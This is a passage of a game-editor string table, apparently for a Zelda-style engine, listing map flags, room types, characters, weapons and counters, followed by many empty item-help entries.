mfSECRETS14 = 29 Secret Tile 13
mfSECRETS15 = 30 Secret Tile 14
mfSECRETS16 = 31 Secret Tile 15
mfTRAP_H = 32 Trap (Horizontal, Line of Sight)
mfTRAP_V = 33 Trap (Vertical, Line of Sight)
mfTRAP_4 = 34 Trap (4-Way, Line of Sight)
mfTRAP_LR = 35 Trap (Horizontal, Constant)
mfTRAP_UD = 36 Trap (Vertical, Constant)
mfENEMY0 = 37 Enemy 0
mfENEMY1 = 38 Enemy 1
mfENEMY2 = 39 Enemy 2
mfENEMY3 = 40 Enemy 3
mfENEMY4 = 41 Enemy 4
mfENEMY5 = 42 Enemy 5
mfENEMY6 = 43 Enemy 6
mfENEMY7 = 44 Enemy 7
mfENEMY8 = 45 Enemy 8
mfENEMY9 = 46 Enemy 9
mfPUSHLR = 47 Push Block (Horiz, Once, Trigger)
mfPUSHU = 48 Push Block (Up, Once, Trigger)
mfPUSHD = 49 Push Block (Down, Once, Trigger)
mfPUSHL = 50 Push Block (Left, Once, Trigger)
mfPUSHR = 51 Push Block (Right, Once, Trigger)
mfPUSHUDNS = 52 Push Block (Vert, Once)
mfPUSHLRNS = 53 Push Block (Horizontal, Once)
mfPUSH4NS = 54 Push Block (4-Way, Once)
mfPUSHUNS = 55 Push Block (Up, Once)
mfPUSHDNS = 56 Push Block (Down, Once)
mfPUSHLNS = 57 Push Block (Left, Once)
mfPUSHRNS = 58 Push Block (Right, Once)
mfPUSHUDINS = 59 Push Block (Vertical, Many)
mfPUSHLRINS = 60 Push Block (Horizontal, Many)
mfPUSH4INS = 61 Push Block (4-Way, Many)
mfPUSHUINS = 62 Push Block (Up, Many)
mfPUSHDINS = 63 Push Block (Down, Many)
mfPUSHLINS = 64 Push Block (Left, Many)
mfPUSHRINS = 65 Push Block (Right, Many)
mfBLOCKTRIGGER = 66 Block Trigger
mfNOBLOCKS = 67 No Push Blocks
mfBRANG = 68 Boomerang Trigger (Any)
mfMBRANG = 69 Boomerang Trigger (Magic +)
mfFBRANG = 70 Boomerang Trigger (Fire)
mfSARROW = 71 Arrow Trigger (Silver +)
mfGARROW = 72 Arrow Trigger (Golden)
mfRCANDLE = 73 Burn Trigger (Red Candle +)
mfWANDFIRE = 74 Burn Trigger (Wand Fire)
//change this ref!
mfDINSFIRE = 75 Burn Trigger (Din's Fire)
mfWANDMAGIC = 76 Magic Trigger (Wand)
mfREFMAGIC = 77 Magic Trigger (Reflected)
mfREFFIREBALL = 78 Fireball Trigger (Reflected)
mfSWORD = 79 Sword Trigger (Any)
mfWSWORD = 80 Sword Trigger (White +)
mfMSWORD = 81 Sword Trigger (Magic +)
mfXSWORD = 82 Sword Trigger (Master)
mfSWORDBEAM = 83 Sword Beam Trigger (Any)
mfWSWORDBEAM = 84 Sword Beam Trigger (White +)
mfMSWORDBEAM = 85 Sword Beam Trigger (Magic +)
mfXSWORDBEAM = 86 Sword Beam Trigger (Master)
mfGRAPPLE = 87 Hookshot Trigger
mfWAND = 88 Wand Trigger
mfHAMMER = 89 Hammer Trigger
mfSTRIKE = 90 Strike Trigger
mfBLOCKHOLE = 91 Block Hole (Block -> Next)
mfMAGICFAIRY = 92 Fairy Ring (Magic)
mfALLFAIRY = 93 Fairy Ring (All)
mfSINGLE = 94 Trigger -> Self Only
mfSINGLE16 = 95 Trigger -> Self, Secret Tiles
mfNOENEMY = 96 No Enemies
mfNOGROUNDENEMY = 97 No Ground Enemies
mfSCRIPT1 = 98 General Purpose 1 (Scripts)
mfSCRIPT2 = 99 General Purpose 2 (Scripts)
mfSCRIPT3 = 100 General Purpose 3 (Scripts)
mfSCRIPT4 = 101 General Purpose 4 (Scripts)
mfSCRIPT5 = 102 General Purpose 5 (Scripts)
mfRAFT_BOUNCE = 103 Raft Bounce
mfPUSHED = 104 Pushed
mfSCRIPT6 = 105 General Purpose 6 (Scripts)
mfSCRIPT7 = 106 General Purpose 7 (Scripts)
mfSCRIPT8 = 107 General Purpose 8 (Scripts)
mfSCRIPT9 = 108 General Purpose 9 (Scripts)
mfSCRIPT10 = 109 General Purpose 10 (Scripts)
mfSCRIPT11 = 110 General Purpose 11 (Scripts)
mfSCRIPT12 = 111 General Purpose 12 (Scripts)
mfSCRIPT13 = 112 General Purpose 13 (Scripts)
mfSCRIPT14 = 113 General Purpose 14 (Scripts)
mfSCRIPT15 = 114 General Purpose 15 (Scripts)
mfSCRIPT16 = 115 General Purpose 16 (Scripts)
mfSCRIPT17 = 116 General Purpose 17 (Scripts)
mfSCRIPT18 = 117 General Purpose 18 (Scripts)
mfSCRIPT19 = 118 General Purpose 19 (Scripts)
mfSCRIPT20 = 119 General Purpose 20 (Scripts)
mfPITHOLE = 120 Pit or Hole (Scripted)
mfPITFALLFLOOR = 121 Pit or Hole, Fall Down Floor (Scripted)
mfLAVA = 122 Fire or Lava (Scripted)
mfICE = 123 Ice (Scripted)
mfICEDAMAGE = 124 Ice, Damaging (Scripted)
mfDAMAGE1 = 125 Damage-1 (Scripted)
mfDAMAGE2 = 126 Damage-2 (Scripted)
mfDAMAGE4 = 127 Damage-4 (Scripted)
mfDAMAGE8 = 128 Damage-8 (Scripted)
mfDAMAGE16 = 129 Damage-16 (Scripted)
mfDAMAGE32 = 130 Damage-32 (Scripted)
mfFREEZEALL = 131 Freeze Screen (Unimplemented)
mfFREZEALLANSFFCS = 132 Freeze Screen, Except FFCs (Unimplemented)
mfFREEZEFFCSOLY = 133 Freeze FFCs Only (Unimplemented)
mfSCRITPTW1TRIG = 134 Trigger LW_SCRIPT1 (Unimplemented)
mfSCRITPTW2TRIG = 135 Trigger LW_SCRIPT2 (Unimplemented)
mfSCRITPTW3TRIG = 136 Trigger LW_SCRIPT3 (Unimplemented)
mfSCRITPTW4TRIG = 137 Trigger LW_SCRIPT4 (Unimplemented)
mfSCRITPTW5TRIG = 138 Trigger LW_SCRIPT5 (Unimplemented)
mfSCRITPTW6TRIG = 139 Trigger LW_SCRIPT6 (Unimplemented)
mfSCRITPTW7TRIG = 140 Trigger LW_SCRIPT7 (Unimplemented)
mfSCRITPTW8TRIG = 141 Trigger LW_SCRIPT8 (Unimplemented)
mfSCRITPTW9TRIG = 142 Trigger LW_SCRIPT9 (Unimplemented)
mfSCRITPTW10TRIG = 143 Trigger LW_SCRIPT10 (Unimplemented)
mfTROWEL = 144 Dig Spot (Scripted)
mfTROWELNEXT = 145 Dig Spot, Next (Scripted)
mfTROWELSPECIALITEM = 146 Dig Spot, Special Item (Scripted)
mfSLASHPOT = 147 Pot, Slashable (Scripted)
mfLIFTPOT = 148 Pot, Liftable (Scripted)
mfLIFTORSLASH = 149 Pot, Slash or Lift (Scripted)
mfLIFTROCK = 150 Rock, Lift Normal (Scripted)
mfLIFTROCKHEAVY = 151 Rock, Lift Heavy (Scripted)
mfDROPITEM = 152 Dropset Item (Scripted)
mfSPECIALITEM = 153 Special Item (Scripted)
mfDROPKEY = 154 Drop Key (Scripted)
mfDROPLKEY = 155 Drop level-Specific Key (Scripted)
mfDROPCOMPASS = 156 Drop Compass (Scripted)
mfDROPMAP = 157 Drop Map (Scripted)
mfDROPBOSSKEY = 158 Drop Bosskey (Scripted)
mfSPAWNNPC = 159 Spawn NPC (Scripted)
mfSWITCHHOOK = 160 Swithhook (Scripted)
mf161 = -Unused
mf162 = -Unused
mf163 = -Unused
mf164 = -Unused
mf165 = -Unused
mf166 = -Unused
mf167 = -Unused
mf168 = -Unused
mf169 = -Unused
mf170 = -Unused
mf171 = -Unused
mf172 = -Unused
mf173 = -Unused
mf174 = -Unused
mf175 = -Unused
mf176 = -Unused
mf177 = -Unused
mf178 = -Unused
mf179 = -Unused
mf180 = -Unused
mf181 = -Unused
mf182 = -Unused
mf183 = -Unused
mf184 = -Unused
mf185 = -Unused
mf186 = -Unused
mf187 = -Unused
mf188 = -Unused
mf189 = -Unused
mf190 = -Unused
mf191 = -Unused
mf192 = -Unused
mf193 = -Unused
mf194 = -Unused
mf195 = -Unused
mf196 = -Unused
mf197 = -Unused
mf198 = -Unused
mf199 = -Unused
mf200 = -Unused
mf201 = -Unused
mf202 = -Unused
mf203 = -Unused
mf204 = -Unused
mf205 = -Unused
mf206 = -Unused
mf207 = -Unused
mf208 = -Unused
mf209 = -Unused
mf210 = -Unused
mf211 = -Unused
mf212 = -Unused
mf213 = -Unused
mf214 = -Unused
mf215 = -Unused
mf216 = -Unused
mf217 = -Unused
mf218 = -Unused
mf219 = -Unused
mf220 = -Unused
mf221 = -Unused
mf222 = -Unused
mf223 = -Unused
mf224 = -Unused
mf225 = -Unused
mf226 = -Unused
mf227 = -Unused
mf228 = -Unused
mf229 = -Unused
mf230 = -Unused
mf231 = -Unused
mf232 = -Unused
mf233 = -Unused
mf234 = -Unused
mf235 = -Unused
mf236 = -Unused
mf237 = -Unused
mf238 = -Unused
mf239 = -Unused
mf240 = -Unused
mf241 = -Unused
mf242 = -Unused
mf243 = -Unused
mf244 = -Unused
mf245 = -Unused
mf246 = -Unused
mf247 = -Unused
mf248 = -Unused
mf249 = -Unused
mf250 = -Unused
mf251 = -Unused
mf252 = -Unused
mf253 = -Unused
mf254 = -Unused
mfEXTENDED = 255 Extended (Extended Flag Editor)
[ROOMTYPES]
rNONE = (None)
rSP_ITEM = Special Item
rINFO = Pay for Info
rMONEY = Secret Money
rGAMBLE = Gamble
rREPAIR = Door Repair
rRP_HC = Red Potion or Heart Container
rGRUMBLE = Feed the Goriya
rQUESTOBJ = Level 9 Entrance
rP_SHOP = Potion Shop
rSHOP = Shop
rBOMBS = More Bombs
rSWINDLE = Leave Money or Life
r10RUPIES = 10 Rupees
rWARP = 3-Stair Warp
rMAINBOSS = Ganon
rWINGAME = Zelda
rITEMPOND = -<item pond>
rMUPGRADE = 1/2 Magic Upgrade
rLEARNSLASH = Learn Slash
rARROWS = More Arrows
rTAKEONE = Take One Item
[GUYS]
gNONE = (None)
gOLDMAN = Abei
gOLDWOMAN = Ama
gDUDE = Merchant
gORC = Moblin
gFIRE = Fire
gFAIRY = Fairy
gGRUMBLE = Goriya
gPRINCESS = Zelda
gOLDMAN2 = Abei 2
gEMPTY = Empty
[EWEAPONS]
ewNone = (None)
ewFireball = Fireball
ewArrow = Arrow
ewBrang = Boomerang
ewSword = Sword
ewRock = Rock
ewMagic = Magic
ewBomb = Bomb Blast
ewSBomb = Super Bomb Blast
ewLitBomb = Lit Bomb
ewLitSBomb = Lit Super Bomb
ewFireTrail = Fire Trail
ewFlame = Flame
ewWind = Wind
ewFlame2 = Flame 2
ewFlame2Trail = -Flame 2 Trail <unused>
ewIce = -Ice <unused>
ewFireball2 = Fireball (Rising)
Custom_1 = Script 01
Custom_2 = Script 02
Custom_3 = Script 03
Custom_4 = Script 04
Custom_5 = Script 05
Custom_6 = Script 06
Custom_7 = Script 07
Custom_8 = Script 08
Custom_9 = Script 09
Custom_10 = Script 10
[LWEAPONS]
lwNone = (None)
lwSword = Sword
lwBeam = Sword Beam
lwBrang = Boomerang
lwBomb = Bomb
lwSBomb = Super Bomb
lwLitBomb = -Lit Bomb
lwLitSBomb = -Lit Super Bomb
lwArrow = Arrow
lwFire = Fire
lwWhistle = Whistle
lwMeat = Bait
lwWand = Wand
lwMagic = Magic
lwCatching = -Catching
lwWind = Wind
lwRefMagic = Reflected Magic
lwRefFireball = Reflected Fireball
lwRefRock = Reflected Rock
lwHammer = Hammer
lwGrapple = Hookshot
lwHSHandle = -HSHandle
lwHSChain = -HSChain
lwSSparkle = Sparkle
lwFSparkle = -FSparkle
lwSmack = -Smack
lwPhantom = -Phantom
lwCane = Cane of Byrna
lwRefBeam = Reflected Sword Beam
lwStomp = Stomp
lwScript1 = Script 1
lwScript2 = Script 2
lwScript3 = Script 3
lwScript4 = Script 4
lwScript5 = Script 5
lwScript6 = Script 6
lwScript7 = Script 7
lwScript8 = Script 8
lwScript9 = Script 9
lwScript10 = Script 10
lwIce = -Ice
[COUNTERS]
crNONE = None
crLIFE = Life
crMONEY = Rupees
crBOMBS = Bombs
crARROWS = Arrows
crMAGIC = Magic
crKEYS = Keys
crSBOMBS = Super Bombs
crCUSTOM1 = Custom 1
crCUSTOM2 = Custom 2
crCUSTOM3 = Custom 3
crCUSTOM4 = Custom 4
crCUSTOM5 = Custom 5
crCUSTOM6 = Custom 6
crCUSTOM7 = Custom 7
crCUSTOM8 = Custom 8
crCUSTOM9 = Custom 9
crCUSTOM10 = Custom 10
crCUSTOM11 = Custom 11
crCUSTOM12 = Custom 12
crCUSTOM13 = Custom 13
crCUSTOM14 = Custom 14
crCUSTOM15 = Custom 15
crCUSTOM16 = Custom 16
crCUSTOM17 = Custom 17
crCUSTOM18 = Custom 18
crCUSTOM19 = Custom 19
crCUSTOM20 = Custom 20
crCUSTOM21 = Custom 21
crCUSTOM22 = Custom 22
crCUSTOM23 = Custom 23
crCUSTOM24 = Custom 24
crCUSTOM25 = Custom 25
[ITEMHELP]
ichs_0_0 =
ichs_0_1 =
ichs_0_2 =
ichs_1_0 =
ichs_1_1 =
ichs_1_2 =
ichs_2_0 =
ichs_2_1 =
ichs_2_2 =
ichs_3_0 =
ichs_3_1 =
ichs_3_2 =
ichs_4_0 =
ichs_4_1 =
ichs_4_2 =
ichs_5_0 =
ichs_5_1 =
ichs_5_2 =
ichs_6_0 =
ichs_6_1 =
ichs_6_2 =
ichs_7_0 =
ichs_7_1 =
ichs_7_2 =
ichs_8_0 =
ichs_8_1 =
ichs_8_2 =
ichs_9_0 =
ichs_9_1 =
ichs_9_2 =
ichs_10_0 =
ichs_10_1 =
ichs_10_2 =
ichs_11_0 =
ichs_11_1 =
ichs_11_2 =
ichs_12_0 =
ichs_12_1 =
ichs_12_2 =
ichs_13_0 =
ichs_13_1 =
ichs_13_2 =
ichs_14_0 =
ichs_14_1 =
ichs_14_2 =
ichs_15_0 =
ichs_15_1 =
ichs_15_2 =
ichs_16_0 =
ichs_16_1 =
ichs_16_2 =
ichs_17_0 =
ichs_17_1 =
ichs_17_2 =
ichs_18_0 =
ichs_18_1 =
ichs_18_2 =
ichs_19_0 =
ichs_19_1 =
ichs_19_2 =
ichs_20_0 =
ichs_20_1 =
ichs_20_2 =
ichs_21_0 =
ichs_21_1 =
ichs_21_2 =
ichs_22_0 =
ichs_22_1 =
ichs_22_2 =
ichs_23_0 =
ichs_23_1 =
ichs_23_2 =
ichs_24_0 =
ichs_24_1 =
ichs_24_2 =
ichs_25_0 =
ichs_25_1 =
ichs_25_2 =
ichs_26_0 =
ichs_26_1 =
ichs_26_2 =
ichs_27_0 =
ichs_27_1 =
ichs_27_2 =
ichs_28_0 =
ichs_28_1 =
ichs_28_2 =
ichs_29_0 =
ichs_29_1 =
ichs_29_2 =
ichs_30_0 =
ichs_30_1 =
ichs_30_2 =
ichs_31_0 =
ichs_31_1 =
ichs_31_2 =
ichs_32_0 =
ichs_32_1 =
ichs_32_2 =
ichs_33_0 =
ichs_33_1 =
ichs_33_2 =
ichs_34_0 =
ichs_34_1 =
ichs_34_2 =
ichs_35_0 =
ichs_35_1 =
ichs_35_2 =
ichs_36_0 =
ichs_36_1 =
ichs_36_2 =
ichs_37_0 =
ichs_37_1 =
ichs_37_2 =
ichs_38_0 =
ichs_38_1 =
ichs_38_2 =
ichs_39_0 =
ichs_39_1 =
ichs_39_2 =
ichs_40_0 =
ichs_40_1 =
ichs_40_2 =
ichs_41_0 =
ichs_41_1 =
ichs_41_2 =
ichs_42_0 =
ichs_42_1 =
ichs_42_2 =
ichs_43_0 =
ichs_43_1 =
ichs_43_2 =
ichs_44_0 =
ichs_44_1 =
ichs_44_2 =
ichs_45_0 =
ichs_45_1 =
ichs_45_2 =
ichs_46_0 =
ichs_46_1 =
ichs_46_2 =
ichs_47_0 =
ichs_47_1 =
ichs_47_2 =
ichs_48_0 =
ichs_48_1 =
ichs_48_2 =
ichs_49_0 =
ichs_49_1 =
ichs_49_2 =
ichs_50_0 =
ichs_50_1 =
ichs_50_2 =
ichs_51_0 =
ichs_51_1 =
ichs_51_2 =
ichs_52_0 =
ichs_52_1 =
ichs_52_2 =
ichs_53_0 =
ichs_53_1 =
ichs_53_2 =
ichs_54_0 =
ichs_54_1 =
ichs_54_2 =
ichs_55_0 =
ichs_55_1 =
ichs_55_2 =
ichs_56_0 =
ichs_56_1 =
ichs_56_2 =
ichs_57_0 =
ichs_57_1 =
ichs_57_2 =
ichs_58_0 =
ichs_58_1 =
ichs_58_2 =
ichs_59_0 =
ichs_59_1 =
ichs_59_2 =
ichs_60_0 =
ichs_60_1 =
ichs_60_2 =
ichs_61_0 =
ichs_61_1 =
ichs_61_2 =
ichs_62_0 =
ichs_62_1 =
ichs_62_2 =
ichs_63_0 =
ichs_63_1 =
ichs_63_2 =
ichs_64_0 =
ichs_64_1 =
ichs_64_2 =
ichs_65_0 =
ichs_65_1 =
ichs_65_2 =
ichs_66_0 =
ichs_66_1 =
ichs_66_2 =
ichs_67_0 =
ichs_67_1 =
ichs_67_2 =
ichs_68_0 =
ichs_68_1 =
ichs_68_2 =
ichs_69_0 =
ichs_69_1 =
ichs_69_2 =
ichs_70_0 =
ichs_70_1 =
ichs_70_2 =
ichs_71_0 =
ichs_71_1 =
ichs_71_2 =
ichs_72_0 =
ichs_72_1 =
ichs_72_2 =
ichs_73_0 =
ichs_73_1 =
ichs_73_2 =
ichs_74_0 =
ichs_74_1 =
ichs_74_2 =
ichs_75_0 =
ichs_75_1 =
ichs_75_2 =
ichs_76_0 =
ichs_76_1 =
ichs_76_2 =
ichs_77_0 =
ichs_77_1 =
ichs_77_2 =
ichs_78_0 =
ichs_78_1 =
ichs_78_2 =
ichs_79_0 =
ichs_79_1 =
ichs_79_2 =
ichs_80_0 =
ichs_80_1 =
ichs_80_2 =
ichs_81_0 =
ichs_81_1 =
ichs_81_2 =
ichs_82_0 =
ichs_82_1 =
ichs_82_2 =
ichs_83_0 =
ichs_83_1 =
ichs_83_2 =
ichs_84_0 =
ichs_84_1 =
ichs_84_2 =
ichs_85_0 =
ichs_85_1 =
ichs_85_2 =
ichs_86_0 =
ichs_86_1 =
ichs_86_2 =
ichs_87_0 =
ichs_87_1 =
ichs_87_2 =
ichs_88_0 =
ichs_88_1 =
ichs_88_2 =
ichs_89_0 =
ichs_89_1 =
ichs_89_2 =
ichs_90_0 =
ichs_90_1 =
ichs_90_2 =
ichs_91_0 =
ichs_91_1 =
ichs_91_2 =
ichs_92_0 =
ichs_92_1 =
ichs_92_2 =
ichs_93_0 =
ichs_93_1 =
ichs_93_2 =
ichs_94_0 =
ichs_94_1 =
ichs_94_2 =
ichs_95_0 =
ichs_95_1 =
ichs_95_2 =
ichs_96_0 =
ichs_96_1 =
ichs_96_2 =
ichs_97_0 =
ichs_97_1 =
ichs_97_2 =
ichs_98_0 =
ichs_98_1 =
ichs_98_2 =
ichs_99_0 =
ichs_99_1 =
ichs_99_2 =
ichs_100_0 =
ichs_100_1 =
ichs_100_2 =
ichs_101_0 =
ichs_101_1 =
ichs_101_2 =
ichs_102_0 =
ichs_102_1 =
ichs_102_2 =
ichs_103_0 =
ichs_103_1 =
ichs_103_2 =
ichs_104_0 =
ichs_104_1 =
ichs_104_2 =
ichs_105_0 =
ichs_105_1 =
ichs_105_2 =
ichs_106_0 =
ichs_106_1 =
ichs_106_2 =
ichs_107_0 =
ichs_107_1 =
ichs_107_2 =
ichs_108_0 =
ichs_108_1 =
ichs_108_2 =
ichs_109_0 =
ichs_109_1 =
ichs_109_2 =
ichs_110_0 =
ichs_110_1 =
ichs_110_2 =
ichs_111_0 =
ichs_111_1 =
ichs_111_2 =
ichs_112_0 =
ichs_112_1 =
ichs_112_2 =
ichs_113_0 =
ichs_113_1 =
ichs_113_2 =
ichs_114_0 =
ichs_114_1 =
ichs_114_2 =
ichs_115_0 =
ichs_115_1 =
ichs_115_2 =
ichs_116_0 =
ichs_116_1 =
ichs_116_2 =
ichs_117_0 =
ichs_117_1 =
ichs_117_2 =
ichs_118_0 =
ichs_118_1 =
ichs_118_2 =
ichs_119_0 =
ichs_119_1 =
ichs_119_2 =
ichs_120_0 =
ichs_120_1 =
ichs_120_2 =
ichs_121_0 =
ichs_121_1 =
ichs_121_2 =
ichs_122_0 =
ichs_122_1 =
ichs_122_2 =
ichs_123_0 =
ichs_123_1 =
ichs_123_2 =
ichs_124_0 =
ichs_124_1 =
ichs_124_2 =
ichs_125_0 =
ichs_125_1 =
ichs_125_2 =
ichs_126_0 =
ichs_126_1 =
ichs_126_2 =
ichs_127_0 =
ichs_127_1 =
ichs_127_2 =
ichs_128_0 =
ichs_128_1 =
ichs_128_2 =
ichs_129_0 =
ichs_129_1 =
ichs_129_2 =
ichs_130_0 =
ichs_130_1 =
ichs_130_2 =
ichs_131_0 =
ichs_131_1 =
ichs_131_2 =
ichs_132_0 =
ichs_132_1 =
ichs_132_2 =
ichs_133_0 =
ichs_133_1 =
ichs_133_2 =
ichs_134_0 =
ichs_134_1 =
ichs_134_2 =
ichs_135_0 =
ichs_135_1 =
ichs_135_2 =
ichs_136_0 =
ichs_136_1 =
ichs_136_2 =
ichs_137_0 =
ichs_137_1 =
ichs_137_2 =
ichs_138_0 =
ichs_138_1 =
ichs_138_2 =
ichs_139_0 =
ichs_139_1 =
ichs_139_2 =
ichs_140_0 =
ichs_140_1 =
ichs_140_2 =
ichs_141_0 =
ichs_141_1 =
ichs_141_2 =
ichs_142_0 =
ichs_142_1 =
ichs_142_2 =
ichs_143_0 =
ichs_143_1 =
ichs_143_2 =
ichs_144_0 =
ichs_144_1 =
ichs_144_2 =
ichs_145_0 =
ichs_145_1 =
ichs_145_2 =
ichs_146_0 =
ichs_146_1 =
ichs_146_2 =
ichs_147_0 =
ichs_147_1 =
ichs_147_2 =
ichs_148_0 =
ichs_148_1 =
ichs_148_2 =
ichs_149_0 =
ichs_149_1 =
ichs_149_2 =
ichs_150_0 =
ichs_150_1 =
ichs_150_2 =
ichs_151_0 =
ichs_151_1 =
ichs_151_2 =
ichs_152_0 =
ichs_152_1 =
ichs_152_2 =
ichs_153_0 =
ichs_153_1 =
ichs_153_2 =
ichs_154_0 =
ichs_154_1 =
ichs_154_2 =
ichs_155_0 =
ichs_155_1 =
ichs_155_2 =
ichs_156_0 =
ichs_156_1 =
ichs_156_2 =
ichs_157_0 =
ichs_157_1 =
ichs_157_2 =
ichs_158_0 =
ichs_158_1 =
ichs_158_2 =
ichs_159_0 =
ichs_159_1 =
ichs_159_2 =
ichs_160_0 =
ichs_160_1 =
ichs_160_2 =
ichs_161_0 =
ichs_161_1 =
ichs_161_2 =
ichs_162_0 =
ichs_162_1 =
ichs_162_2 =
ichs_163_0 =
ichs_163_1 =
ichs_163_2 =
ichs_164_0 =
ichs_164_1 =
ichs_164_2 =
ichs_165_0 =
ichs_165_1 =
ichs_165_2 =
ichs_166_0 =
ichs_166_1 =
ichs_166_2 =
ichs_167_0 =
ichs_167_1 =
ichs_167_2 =
ichs_168_0 =
ichs_168_1 =
ichs_168_2 =
ichs_169_0 =
ichs_169_1 =
ichs_169_2 =
ichs_170_0 =
ichs_170_1 =
ichs_170_2 =
ichs_171_0 =
ichs_171_1 =
ichs_171_2 =
ichs_172_0 =
ichs_172_1 =
ichs_172_2 =
ichs_173_0 =
ichs_173_1 =
ichs_173_2 =
ichs_174_0 =
ichs_174_1 =
ichs_174_2 =
ichs_175_0 =
ichs_175_1 =
ichs_175_2 =
ichs_176_0 =
ichs_176_1 =
ichs_176_2 =
ichs_177_0 =
ichs_177_1 =
ichs_177_2 =
ichs_178_0 =
ichs_178_1 =
ichs_178_2 =
ichs_179_0 =
ichs_179_1 =
ichs_179_2 =
ichs_180_0 =
ichs_180_1 =
ichs_180_2 =
ichs_181_0 =
ichs_181_1 =
ichs_181_2 =
ichs_182_0 =
ichs_182_1 =
ichs_182_2 =
ichs_183_0 =
ichs_183_1 =
ichs_183_2 =
ichs_184_0 =
ichs_184_1 =
ichs_184_2 =
ichs_185_0 =
ichs_185_1 =
ichs_185_2 =
ichs_186_0 =
ichs_186_1 =
ichs_186_2 =
ichs_187_0 =
ichs_187_1 =
ichs_187_2 =
ichs_188_0 =
ichs_188_1 =
ichs_188_2 =
ichs_189_0 =
ichs_189_1 =
ichs_189_2 =
ichs_190_0 =
ichs_190_1 =
ichs_190_2 =
ichs_191_0 =
ichs_191_1 =
ichs_191_2 =
ichs_192_0 =
ichs_192_1 =
ichs_192_2 =
ichs_193_0 =
ichs_193_1 =
ichs_193_2 =
ichs_194_0 =
ichs_194_1 =
ichs_194_2 =
ichs_195_0 =
ichs_195_1 =
ichs_195_2 =
ichs_196_0 =
ichs_196_1 =
ichs_196_2 =
ichs_197_0 =
ichs_197_1 =
ichs_197_2 =
ichs_198_0 =
ichs_198_1 =
ichs_198_2 =
ichs_199_0 =
ichs_199_1 =
ichs_199_2 =
ichs_200_0 =
ichs_200_1 =
ichs_200_2 =
ichs_201_0 =
ichs_201_1 =
ichs_201_2 =
ichs_202_0 =
ichs_202_1 =
ichs_202_2 =
ichs_203_0 =
ichs_203_1 =
ichs_203_2 =
ichs_204_0 =
ichs_204_1 =
ichs_204_2 =
ichs_205_0 =
ichs_205_1 =
ichs_205_2 =
ichs_206_0 =
ichs_206_1 =
ichs_206_2 =
ichs_207_0 =
ichs_207_1 =
ichs_207_2 =
ichs_208_0 =
ichs_208_1 =
ichs_208_2 =
ichs_209_0 =
ichs_209_1 =
ichs_209_2 =
ichs_210_0 =
ichs_210_1 =
ichs_210_2 =
ichs_211_0 =
ichs_211_1 =
ichs_211_2 =
ichs_212_0 =
ichs_212_1 =
ichs_212_2 =
ichs_213_0 =
ichs_213_1 =
ichs_213_2 =
ichs_214_0 =
ichs_214_1 =
ichs_214_2 =
ichs_215_0 =
ichs_215_1 =
ichs_215_2 =
ichs_216_0 =
ichs_216_1 =
ichs_216_2 =
ichs_217_0 =
ichs_217_1 =
ichs_217_2 =
ichs_218_0 =
ichs_218_1 =
ichs_218_2 =
ichs_219_0 =
ichs_219_1 =
ichs_219_2 =
ichs_220_0 =
ichs_220_1 =
ichs_220_2 =
ichs_221_0 =
ichs_221_1 =
ichs_221_2 =
ichs_222_0 =
ichs_222_1 =
ichs_222_2 =
ichs_223_0 =
ichs_223_1 =
ichs_223_2 =
ichs_224_0 =
ichs_224_1 =
ichs_224_2 =
ichs_225_0 =
ichs_225_1 =
ichs_225_2 =
ichs_226_0 =
ichs_226_1 =
ichs_226_2 =
ichs_227_0 =
ichs_227_1 =
ichs_227_2 =
ichs_228_0 =
ichs_228_1 =
ichs_228_2 =
ichs_229_0 =
ichs_229_1 =
ichs_229_2 =
ichs_230_0 =
ichs_230_1 =
ichs_230_2 =
ichs_231_0 =
ichs_231_1 =
ichs_231_2 =
ichs_232_0 =
ichs_232_1 =
ichs_232_2 =
ichs_233_0 =
ichs_233_1 =
ichs_233_2 =
ichs_234_0 =
ichs_234_1 =
ichs_234_2 =
ichs_235_0 =
ichs_235_1 =
ichs_235_2 =
ichs_236_0 =
ichs_236_1 =
ichs_236_2 =
ichs_237_0 =
ichs_237_1 =
ichs_237_2 =
ichs_238_0 =
ichs_238_1 =
ichs_238_2 =
ichs_239_0 =
ichs_239_1 =
ichs_239_2 =
ichs_240_0 =
ichs_240_1 =
ichs_240_2 =
ichs_241_0 =
ichs_241_1 =
ichs_241_2 =
ichs_242_0 =
ichs_242_1 =
ichs_242_2 =
ichs_243_0 =
ichs_243_1 =
ichs_243_2 =
ichs_244_0 =
ichs_244_1 =
ichs_244_2 =
ichs_245_0 =
ichs_245_1 =
ichs_245_2 =
ichs_246_0 =
ichs_246_1 =
ichs_246_2 =
ichs_247_0 =
ichs_247_1 =
ichs_247_2 =
ichs_248_0 =
ichs_248_1 =
ichs_248_2 =
ichs_249_0 =
ichs_249_1 =
ichs_249_2 =
ichs_250_0 =
ichs_250_1 =
ichs_250_2 =
ichs_251_0 =
ichs_251_1 =
ichs_251_2 =
ichs_252_0 =
ichs_252_1 =
ichs_252_2 =
ichs_253_0 =
ichs_253_1 =
ichs_253_2 =
ichs_254_0 =
ichs_254_1 =
ichs_254_2 =
ichs_255_0 =
ichs_255_1 =
ichs_255_2 =
ichs_256_0 =
ichs_256_1 =
ichs_256_2 =
ichs_257_0 =
ichs_257_1 =
ichs_257_2 =
ichs_258_0 =
ichs_258_1 =
ichs_258_2 =
ichs_259_0 =
ichs_259_1 =
ichs_259_2 =
ichs_260_0 =
ichs_260_1 =
ichs_260_2 =
ichs_261_0 =
ichs_261_1 =
ichs_261_2 =
ichs_262_0 =
ichs_262_1 =
ichs_262_2 =
ichs_263_0 =
ichs_263_1 =
ichs_263_2 =
ichs_264_0 =
ichs_264_1 =
ichs_264_2 =
ichs_265_0 =
ichs_265_1 =
ichs_265_2 =
ichs_266_0 =
ichs_266_1 = -
ichs_266_2 = -
ichs_267_0 =
ichs_267_1 =
ichs_267_2 =
ichs_268_0 =
ichs_268_1 =
ichs_268_2 =
ichs_269_0 =
ichs_269_1 =
ichs_269_2 =
ichs_270_0 =
ichs_270_1 =
ichs_270_2 =
ichs_271_0 =
ichs_271_1 =
ichs_271_2 =
ichs_272_0 =
ichs_272_1 =
ichs_272_2 =
ichs_273_0 =
ichs_273_1 =
ichs_273_2 =
ichs_274_0 =
ichs_274_1 =
ichs_274_2 =
ichs_275_0 =
ichs_275_1 =
ichs_275_2 =
ichs_276_0 =
ichs_276_1 =
ichs_276_2 =
ichs_277_0 =
ichs_277_1 =
ichs_277_2 =
ichs_278_0 =
ichs_278_1 =
ichs_278_2 =
ichs_279_0 =
ichs_279_1 =
ichs_279_2 =
ichs_280_0 =
ichs_280_1 =
ichs_280_2 =
ichs_281_0 =
ichs_281_1 =
ichs_281_2 =
ichs_282_0 =
ichs_282_1 =
ichs_282_2 =
